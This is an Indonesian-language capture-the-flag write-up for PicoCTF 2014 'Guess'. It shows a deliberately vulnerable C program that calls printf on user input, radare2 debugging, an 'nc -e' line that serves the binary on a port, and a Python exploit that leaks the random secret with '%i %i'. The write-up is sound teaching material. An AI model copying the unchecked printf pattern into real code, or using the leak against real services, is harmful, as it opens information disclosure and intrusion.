PICO CTF 2014: Guess
Pendahuluan
Pada artikel ini, akan dijelaskan mengenai eksploitasi binary dengan memanfaatkan kelemahan string format pada penggunaan fungsi printf()
yang salah dengan cara mengirimkan buffer yang disesuaikan agar mengetahui alamat variabel yang diinginkan dan mengekstrak nilainya.
Alat dan Bahan
- Fail: guess.c
- Kompiler: GCC
- Debugger: GDB
- Sistem operasi: Ubuntu 14.04 dengan arsitektur 64 bit.
Mengatur Lingkungan Pekerjaan
- Source Code
#include <stdio.h>
#include <stdlib.h>
char *flag = "~~FLAG~~";
void main()
{
int secret, guess;
char name[32];
long seed;
FILE *f = fopen("/dev/urandom", "rb");
fread(&secret, sizeof(int), 1, f);
fclose(f);
printf("Hello! What is your name?\n");
fgets(name, sizeof(name), stdin);
printf("Welcome to the guessing game, ");
printf(name);
printf("\nI generated a random 32-bit number.\nYou have a 1 in 2^32 chance of guessing it. Good luck.\n");
printf("What is your guess?\n");
scanf("%d", &guess);
if(guess == secret)
{
printf("Wow! You guessed it!\n");
printf("Your flag is: %s\n", flag);
}
else
{
printf("Hah! I knew you wouldn't get it.\n");
}
}
- Kompilasi
gcc -m32 -fno-stack-protector -z execstack -mpreferred-stack-boundary=4 -o guess -ggdb guess.c
Penjelasan
-m32
Kompilasi source code menjadi binary dengan arsitektur 32 bit atau x86.
-fno-stack-protector
Kompilasi source code menjadi binary tanpa pelindung stack (canary).
-z execstack
Berguna mengaktifkan status stack agar dapat dieksekusi
-mpreferred-stack-boundary
Pada dasarnya, GCC akan mengkompilasi kode pada setiap fungsi sesuai urutan, masing-masing memiliki stack pointer dengan alinea 16-byte bondary (ini sangat penting jika program memiliki variabel lokal dan bisa juga digunakan untuk mengaktifkan instruksi sse2.
Jika parameter dirubah menjadi -mpreferred-stack-boundary=2 maka GCC akan menyusun stack pointer pada 4-byte-boundary. Ini akan menguangi kebutuhan stack didalam program, tetapi akan terjadi crash jika kode program yang dipanggil menggunakan sse2, sehingga secara umum menjadi program hasil kompilasi menjadi tidak aman.
-ggdb
Opsi ini digunakan untuk menghasilkan informasi pada saat proses debugging ketika menggunakan GDB. Dengan kata lain format ekspresif telah disediakan (DWARF 2, stabs, atau fomat native lainnya jika tidak didukung), termasuk ekstensi GDB.
- Mematikan ASLR Matikan ASLR agar proses eksploitasi lebih mudah. Untuk mematikannya gunakan perintah berikut:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Pengumpulan Infomasi
Tujuan pada tantangan ini adalah membocorkan informasi variabel secret
yang akhirnya bisa digunakan untuk melewati fase pemeriksaan kondisi.
...
if(guess == secret)
{
printf("Wow! You guessed it!\n");
printf("Your flag is: %s\n", flag);
}
else
{
printf("Hah! I knew you wouldn't get it.\n");
}
...
Ada kelemahan pada penggunaan fungsi printf()
yang membolehkan pembacaan dan penulisan stack. Dengan kata lain, nilai integer selanjutnya dapat dicetak dengan format %i
berulang kali sampai mencetak nilai acak yang dibangkitkan.
...
printf("Hello! What is your name?\n");
fgets(name, sizeof(name), stdin);
printf("Welcome to the guessing game, ");
printf(name);
...
Identifikasi Kelemahan
Untuk mencari kelemahan program langkah yang digunakan adalah dengan melakukan debugging pada variabel secret.
- Cari alamat fungsi main(), dengan menggunakan perintah sebagai berikut:
$ nm guess | grep main
U __libc_start_main@@GLIBC_2.0
0804859d T main
Alamat fungsi main() ada di 0x0804859d
.
- Dekompilasi program agar bisa membaca kode assembly dengan perintah berikut:
$ radare guess
...
s 0x0804859d
pd 60
...
0x0804865f 8b442438 mov eax, [esp+0x38]
0x08048663 39c2 cmp edx, eax
0x08048665 7523 jnz 0x804868a ; 0x0804868a
...
Penjelasan
s
Digunakan untuk mencari alamat dari fungsi tertentu.
pd <number>
Digunakan untuk menampilkan hasil dekompilasi berdasarkan jumlah baris yang ingin ditampilkan.
Tujuan dekompilasi adalah untuk mencari alamat pada perbandingan variabel guess
dan secret
. Alamat tersebut akan digunakan pada proses debugging sebagai breakpoint.
- Kadang saat proses debugging, alamat hasil dekompilasi suatu program biasanya berbeda. Oleh karena itu, mari coba debug program dengan menggunakan radare sebagai debugger.
Gunakan perintah sebagai berikut:
$ r2 -d guess
...
s 0x0804859d
pd 60
...
x08048673 8b442438 mov eax, [esp+0x38]
0x08048677 39c2 cmp edx, eax
0x08048679 7523 jnz 0x804869e
...
Atur breakpoint
db 0x08048677
Jalankan program
[0x0804859d]> dc
[+] signal 28 aka SIGWINCH received
[0xf77300d0]> dc
Hello! What is your name?
%i %i
Assume we don't know this secret: -1115154380
Welcome to the guessing game, -1115154380 -143750112
I generated a random 32-bit number.
You have a 1 in 2^32 chance of guessing it. Good luck.
What is your guess?
-1115154380
Lihat register, apakah nilai register eax
dan edx
sama?
[0x08048677]> dr
eip = 0x08048677
oeax = 0xffffffff
eax = 0xbd881834
ebx = 0xf76e8000
ecx = 0xf76e98a4
edx = 0xbd881834
esp = 0xfff85440
ebp = 0xfff85488
esi = 0x00000000
edi = 0x00000000
eflags = 0x00000282
Karena nilai register eax
dan edx
sama, maka pemeriksaan kondisi antara variabel guess
dan secret
sudah bisa dilewati dengan menggunakan kelemahan format string.
[0x08048677]> dc
Wow! You guessed it!
Your flag is: ~~FLAG~~
Eksploitasi
Berdasarkan identifikasi kelemahan, variabel secret dapat dibocorkan dengan menginjeksi masukan. Sekarang asumsikan program tersebut dijalankan pada server sehingga peretas bisa mengeksploitasi program tersebut dari jarak jauh.
- Jalankan program dengan mode server
$ while true; do nc -e guess -l -p 12345 ; sleep 1; done;
- Desain payload untuk eksploitasi
import re
import socket
def send(s, msg):
s.send(msg+'\n')
def sendv(s, msg):
print '\n[+] [client] {0}'.format(msg)
s.send(msg+'\n')
def recv(s, buf):
return s.recv(buf)
def recvv(s, buf):
received = s.recv(buf)
print '\n[+] [server] {0}'.format(received)
return received
def get_middle_string(s, b, e):
r = r"%s(.*?)%s" % (b,e)
return re.findall(r,s)
# connect
s = socket.socket()
host = "localhost"
port = 12345
s.connect((host, port))
# view response
recvv(s, 2048)
# send payload
vuln = '%i %i'
sendv(s, vuln)
# get secret
char = recvv(s, 2048)
b = 'Welcome to the guessing game, '
e = '\n'
secret = get_middle_string(char, b, e)[0].split(' ')[0]
# send secret
sendv(s, secret)
# view flag
recvv(s, 2048)
s.close()
Luaran
$ python exploit.py
[+] [server] Hello! What is your name?
[+] [client] %i %i
[+] [server] Assume we don't know this secret: 944050612
Welcome to the guessing game, 944050612 -143369184
I generated a random 32-bit number.
You have a 1 in 2^32 chance of guessing it. Good luck.
What is your guess?
[+] [client] 944050612
[+] [server] Wow! You guessed it!
Your flag is: ~~FLAG~~
Referensi
- https://radare.gitbooks.io/radare2book/content/introduction/rax2.html
- http://radare.today/posts/using-radare2/
- http://reverseengineering.stackexchange.com/questions/11207/how-to-debug-like-gdb-with-radare2
- http://reverseengineering.stackexchange.com/questions/8092/what-does-hoppers-debugger-server-do
- https://yanapermana.wordpress.com/2015/10/01/radare2-string-dan-jump-bagian-2/
- https://github.com/pwntester/cheatsheets/blob/master/radare2.md
- https://samsymons.com/blog/reverse-engineering-with-radare2-part-1/